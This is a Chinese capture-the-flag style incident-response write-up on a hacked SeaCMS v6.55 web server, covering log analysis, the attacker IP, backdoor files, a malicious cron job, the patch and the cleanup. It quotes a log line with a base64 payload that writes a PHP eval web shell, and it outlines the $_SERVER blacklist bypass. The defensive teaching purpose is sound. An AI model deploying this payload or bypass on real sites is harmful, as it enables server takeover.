蓝队HW和日常实战迎接响应
题目:
X集团的WebServer服务器遭到黑客入侵,该服务器的Web应用系统被上传恶意软件,系统文件被恶意软件破坏,您的团队需要帮助该公司追踪此网络攻击的来源,在服务器上进行全面的检查,包括日志信息、进程信息、系统文件和恶意文件等。通过分析黑客的攻击行为,我们将发现系统中的漏洞,并对其进行修复。
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
开启靶场:
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
开始实验:
使用Xshell登录服务器,账号及密码如上图。
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
1、提交攻击者的IP地址
WP:
找到服务器日志路径,通常是在/var/log/,使用cd /var/log/,ls查看此路径下的文件.
找到nginx文件夹。
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
进入nginx文件夹,找到access.log文件。
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
下载access.log到本地电脑,使用Notepad++打开。
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
发现38.207.130.14这个IP地址对多个页面发送HEAD请求,而且根据404后面的DirBuster-1.0-RC1 可得到是一个目录扫描工具,由此可得出攻击IP为38.207.130.14。提交成功!
2、提交攻击者目录扫描所使用的工具名称
通过第一题,得到扫描工具是DirBuster-1.0-RC1,根据题目提示工具名称要用小写,经过提交测试发现,提交的时候不需要带版本,只提交dirbuster就可以提交成功。
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
3、提交攻击者首次攻击成功的时间
继续查看access.log,发现了一些a.php上传请求,有可能是上传的木马文件,那"POST /a.php HTTP/1.1" 上面一条"POST /search.php?eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ2EucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/PicpOw==')); HTTP/1.1"就是上传木马操作。
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
根据日志显示这个POST上传请求是使用base64编码的,那么我们使用Base64编码解码工具进行解码,根据解码内容可知确实是上传木马的操作。那么上传日期就是这个日志的操作时间,
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
题目要求格式为:DD/MM/YY:HH:MM:SS(例如31/01/2000:01:02:03),对攻击成功日期进行格式转换,转换后03/11/2023:15:03:35提交成功。
4、找到攻击者写入的恶意后门文件
提交文件名(完整路径)
根据前面我们知道a.php是上传的木马,也就是攻击者写入的恶意后门文件,那就可以查找a.php所在的完整路径。
find / -name a.php
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
得到完整路径为:/var/www/html/a.php,提交成功。
5、找到攻击者写入的恶意后门文件密码
我们知道恶意后门文件是a.php,上一题也知道路径,那么进入a.php文件所在的路径
cd /var/www/html/
ls查看文件,找到a.php文件,使用vi命令查看文件内容
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
方括号里面的“1”即为密码,提交成功。
6、找到攻击者隐藏在正常web应用代码中的恶意代码
提交该文件名(完整路径)
通过查看/var/www/html/下的文件,找了好长时间,发现/var/www/html/include/webscan/360webscan.php文件的这些代码很奇怪,通过搜索的出是隐蔽的后门木马。
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
那么/var/www/html/include/webscan/360webscan.php就是恶意代码的完整路径,提交成功。
7、识别系统中存在的恶意程序进程
提交文件名(完整路径)
首先使用“ps -aux
”命令查进程,查出来的进程比较多,也不能判断那个是恶意进程。
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
既然是恶意进程,那就有计划任务,我们再查下计划任务。
cd /var/spool/cron
ls
vi www-data
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
发现只有一个计划任务,路径是/var/crash/php-fpm,提交成功。
8、识别系统中存在的恶意程序进程2
提交C&C服务器IP地址和端口(格式:1.1.1.1:22)
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
9、修复网站漏洞
进入网站目录,查看网站主页,index.php。
cd /var/www/html
ls
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
访问网站,http://47.103.131.47/index.php,网页下拉到底,可知为海洋CMS。
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
查看海洋CMS的版本
cd /var/www/html/data/admin
ls
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
找到ver.txt,是存放版本号的文件
vi ver.txt
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
得到海洋CMS的版本为v6.55
查询海洋CMS v6.55漏洞
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
漏洞分析:官方给出的修复是在parseIf
函数里面加了黑名单。但是没有做SERVER变量的过滤,所以可以用SERVER变量的性质来达到写入命令。
修复方法1
修改/var/www/html/include/main.class.php
文件里面的parseIf函数
,补充黑名单增加_SERVER,保存后点击check,提交成功。
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
修复方法2
修改/var/www/html下的search.php文件;
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
在echoSearchPage()函数中增加一条过滤语句:if(strpos($searchword,'{searchpage:')) exit;
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
10、 删除恶意程序、文件、代码
删除/var/www/html路径下的a.php
rm a.php
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
删除/var/crash/路径下的
rm php-fpm
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
删除/var/www/html/include/webscan/360webscan.php
里面的木马内容,记住不要删除整个文件,要不然系统会提示修复失败。
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
还有删除php-fpm的计划任务
cd /var/spool/cron/crontabs/
ls
vi www-data
删除红圈里的内容,:wq!保存。
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
删除后
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
checking完成,提交成功。
题目来源:
bugku
网络安全事件应急响应
https
:
//buuoj.cn/challenges
原文:
![蓝队HW 实战应急响应-案例 蓝队HW 实战应急响应-案例]()
原文始发于微信公众号(Hacking黑白红):蓝队HW 实战应急响应-案例
评论